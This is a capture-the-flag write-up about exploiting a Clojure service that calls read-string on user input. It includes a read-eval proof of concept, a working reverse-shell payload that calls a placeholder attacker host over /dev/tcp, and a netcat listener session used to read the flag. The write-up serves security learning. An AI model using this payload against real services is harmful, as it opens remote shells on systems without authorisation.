> Everybody keeps talking about this new JIT. I think it is more secure, wouldn't you agree?>   > compiled with: native-image -H:+ReportUnsupportedElementsAtRuntime
We get the [main.clj](https://ctf.hackover.de/files/2d2f2aec9a9f4917d25408680f5e60bd/main.clj) file, which is a Clojure script! Oh boy, that's another language I had nothing to do with (and neither had anyone from our team as far as I know). That does, however, explain the challenge title! "holy graal", since it's probably running on the [Graal VM](https://www.graalvm.org/). Okay, but back to the topic.
Other than the script, we get access to a host that exposes something like an interactive shell:
```Welcome to HolyGraal version 1.0.0-rc1Everybody knows that keeping track of brackets is hard in LISP languages.We now introduce: verify brackets as a service.1: Send string2: Exit1()Good job, you know how to balance brackets. Now go, get the flag.1: Send string2: Exit1((())You need to work on your balancing skills.1: Send string2: Exit```
Hm... since it's a Lisp-like language, how is the bracket balance actually verified? Let's take a look at the code:
```clojure(defmulti option identity)(defmethod option "1" [_]  (try    (-> (read-line)        (read-string))    (println "Good job, you know how to balance brackets. Now go, get the flag.")    (catch Exception e      (println "You need to work on your balancing skills."))))```
Okay, sooo... that reads a line and then... wait, what the hell is `read-string`? Let's check the docs:
> Reads one object from the string s. Optionally include readeroptions, as specified in read.
Hey, that's pretty cool! You know what's even *more* cool? The next line:
>  Note that read-string can execute code (controlled by *read-eval*),and as such should be used only with trusted sources.
Now we're talking! I've actually done a decent amount of information digging (also known as Google searching), that resulted in me findings [this discussion](https://groups.google.com/forum/#!topic/clojure/YBkUaIaRaow/discussion). It shows a simple PoC for an RCE payload via `read-string`:
```clojureuser=> (read-string "#=(clojure.java.shell/sh \"echo\" \"hi\")") {:exit 0, :out "hi\n", :err ""}```
We don't get our output back in the challenge, but this isn't exactly a problem, is it? At this point I grabbed a couple of revshell ideas I had from [ub3rsec's cheatsheet](https://ub3rsec.github.io/pages/rev-shell-cheatsheet.html) and from [pentest monkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) for Java (as Clojure is JVM-based) and mixed them with the PoC above to get this:
```clojure#=(clojure.java.shell/sh "/bin/bash" "-c" "exec 5<>/dev/tcp/attackerip/attackerport;cat <&5 | while read line; do $line 2>&5 >&5; done")```
Then I just ran the listener on my box, dropped the payload and waited for the session to call home. After it connected I read the `flag.txt` file and got the flag:
```$ nc -nlvp 31337Listening on [0.0.0.0] (family 0, port 31337)Connection from [188.166.163.88] port 31337 [tcp/*] accepted (family 2, sport 41364)lsflag.txtholy_graal-1.3.3.7-standalonecat flag.txthackover18{n3v3r_tru5s7_u53r_1npu7}```
**Flag:** `hackover18{n3v3r_tru5s7_u53r_1npu7}`
Cheers!